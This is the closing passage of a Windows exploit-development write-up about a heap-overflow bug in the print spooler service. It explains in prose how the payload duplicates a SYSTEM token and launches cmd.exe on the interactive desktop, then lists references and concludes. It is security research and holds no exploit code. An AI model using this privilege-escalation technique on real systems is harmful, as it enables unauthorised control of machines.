The [spoolsv.exe](#) runs in Session 0, which has no visible desktop, so a simple [CreateProcess](#) function there is completely invisible. Thus, we have to duplicate the SYSTEM token into a new primary token, pick up the interactive session using [pick\\_interactive\\_session](#) routine, set the TokenSessionId of the duplicated token to it and launch [CreateProcessAsUserW](#) function targeting [WinSta0\Default](#).

As expected, we have to pick the active session instead of the physical console because, in this case, I am using a virtual machine running on Hyper-V enhanced session. Once the active session is chosen, the cmd.exe appears on the real desktop. Finally, if we run "[whoami](#)" command, we will see NT Authority\System.

## 11. References

Readers can learn and check further information on topics mentioned in this article by consulting the following sources:

- MS-RPRN, Print System Remote Protocol (Microsoft Open Specifications): [https://learn.microsoft.com/en-us/openspecs/windows\\_protocols/ms-rprn/](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/)
- EnumForms / AddForm / FORM\_INFO\_1 / FORM\_INFO\_2 (Microsoft Learn, Printing): <https://learn.microsoft.com/en-us/windows/win32/printdocs/enumforms>
- Windows Internals, 7th edition (Parts 1 & 2), Yosifovich, Ionescu, Russinovich, Solomon and Allievi -- RPC, services, and the Segment Heap: <https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188> and <https://www.microsoftpressstore.com/store/windows-internals-part-2-9780135462409>
- The Windows Segment Heap and VS allocator -- Windows 10+ user-mode heap internals: see the Windows Internals coverage of \_SEGMENT\_HEAP, \_HEAP\_VS\_CONTEXT and \_HEAP\_VS\_CHUNK\_HEADER.
- Saar Amar's segment-heap research writeups: <https://saaramar.github.io/Publications/>
- CVE-2021-34527 (PrintNightmare): the canonical MS-RPRN attack-surface case study: <https://www.microsoft.com/en-us/msrc/blog/2021/07/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability>
- CVE-2021-1675: Windows Print Spooler elevation/remote code execution (the LPE half of PrintNightmare), companion to CVE-2021-34527: <https://github.com/cube0x0/CVE-2021-1675>
- OpenPrinter, ClosePrinter, DeleteForm (Microsoft Learn, Printing), which are companions to the EnumForms and AddForm pair: <https://learn.microsoft.com/en-us/windows/win32/printdocs/openprinter>
- [MS-RPCE] Remote Procedure Call Protocol Extensions -- NDR / NDR64 and the stub data consistency checks behind the conformant-array bound and RPC\_X\_BAD\_STUB\_DATA: [https://learn.microsoft.com/en-us/openspecs/windows\\_protocols/ms-rpce/fb1ee8ad-3d98-4a17-a4d6-3d1693626410](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/fb1ee8ad-3d98-4a17-a4d6-3d1693626410)
- Mark Vincent Yason, "Windows 10 Segment Heap Internals," Black Hat USA 2016 -- the canonical reference for the Segment Heap and its VS (variable-size) allocator used in the groom: <https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf>
- Privilege Constants (SeDebugPrivilege, SeImpersonatePrivilege, ...), Microsoft Learn: <https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants>
- MITRE ATT&CK T1134.001, Access Token Manipulation: Token Impersonation/Theft -- the payload's DuplicateTokenEx + CreateProcessAsUserW technique: <https://attack.mitre.org/techniques/T1134/001/>
- MITRE ATT&CK T1055.001, Process Injection: Dynamic-link Library Injection -- the injector's VirtualAllocEx + WriteProcessMemory + CreateRemoteThread(LoadLibraryW) sequence: <https://attack.mitre.org/techniques/T1055/001/>
- Debugging Tools for Windows (WinDbg / cdb), Microsoft Learn -- used for the crash-stack and RVA-breakpoint captures: <https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/>
- Winbindx: <https://winbindx.m417z.com/>

- CWE-122: Heap-based Buffer Overflow: <https://cwe.mitre.org/data/definitions/122.html>
- CWE-787: Out-of-bounds Write: <https://cwe.mitre.org/data/definitions/787.html>
- CWE-20: Improper Input Validation: <https://cwe.mitre.org/data/definitions/20.html>
- CVSS v3.1 Specification Document (FIRST): <https://www.first.org/cvss/v3.1/specification-document>
- Exploiting Reversing (ER) series, articles 06-09 (by Alexandre Borges):  
<https://www.blackstormsecurity.com/research/> and <https://exploitreversing.com/>

## 12. Conclusion

This article moved from previous ERS\_06 to ERS\_08, which discussed about a kernel mini-filter vulnerability and eight exploits, to a user-mode SYSTEM service, but applied a similar discipline to discuss and develop the sequence of sections. Of course, this time the vulnerability did not impact the general system or the service on Windows Canary release, but allowed us to elevate privileges from Administrator account to SYSTEM, since we could attend the restriction. While, on the one hand, vulnerability is quite simple, on the other hand it allows to provide readers with current ideas and guidelines for future exploitation scenarios.

Although I have mentioned anything before, one of lessons for professionals doing security research is not accept a DoS as a definitive answer or even the minimum that can be obtained from a write primitive. The second lesson, which was already highlighted in previous articles, it is that even a limited write primitive can be everything we need to compromise and exploit a system.

Just in case you want to stay connected:

- **X:** @ale\_sp\_brazil
- **Bluesky:** @alexandreborges.bsky.social
- **Research articles:** <https://www.blackstormsecurity.com/research/>
- **Blog:** <https://exploitreversing.com/>

Keep developing exploits and see you at the next article!

**Alexandre Borges**